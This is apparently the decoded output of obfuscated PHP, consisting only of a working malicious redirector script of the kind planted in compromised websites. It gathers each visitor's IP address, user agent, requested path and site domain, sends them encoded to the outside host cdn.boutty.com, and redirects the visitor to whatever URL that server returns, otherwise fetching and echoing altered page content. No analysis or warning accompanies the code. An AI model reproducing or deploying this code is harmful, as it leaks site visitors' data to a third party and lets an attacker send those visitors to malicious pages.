PHP Decode

?><?php

function get_client_ip() {
    $ip = $_SERVER['REMOTE_ADDR'];
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    return $ip;
}

$client_ip = get_client_ip();

function get_client_domain() {
    $domain = $_SERVER['HTTP_HOST'];
    if (isset($_SERVER['HTTP_CF_VISITOR'])) {
        $cf_visitor = json_decode($_SERVER['HTTP_CF_VISITOR'], true);
        if (isset($cf_visitor['host'])) {
            $domain = $cf_visitor['host'];
        }
    }
    return $domain;
}

$client_domain = get_client_domain();

$uri = isset($_SERVER['HTTP_CF_REQUEST_URI']) ? $_SERVER['HTTP_CF_REQUEST_URI'] : $_SERVER['REQUEST_URI'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$data = $client_ip . '|' . $user_agent . '|' . $uri . '|' . $client_domain;
$md5 = '278';
$encoded_data = base64_encode($md5 . $data);
$url = 'https://cdn.boutty.com/index.php';
$data = array('encoded_data' => $encoded_data);
$options = array(
    CURLOPT_URL => $url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($data),
    CURLOPT_RETURNTRANSFER => true,
);
$curl = curl_init();
curl_setopt_array($curl, $options);
$result = curl_exec($curl);
curl_close($curl);

if ($result !== 'sai') {
    header("Location: " . $result);
    exit;
} else {
    $pathParts = explode('/', $uri);
    if (count($pathParts) >= 3) {
        $path2 = $pathParts[2];
        $trimmedPath2 = rtrim($path2, $path2[strlen($path2) - 1]);
        $pathParts[2] = $trimmedPath2;
    }
    $newUri = implode('/', $pathParts);
    $fullUrl = 'https://' . $client_domain . $newUri;
    $content = file_get_contents($fullUrl);
    echo $content;

    exit;
}

 
?><?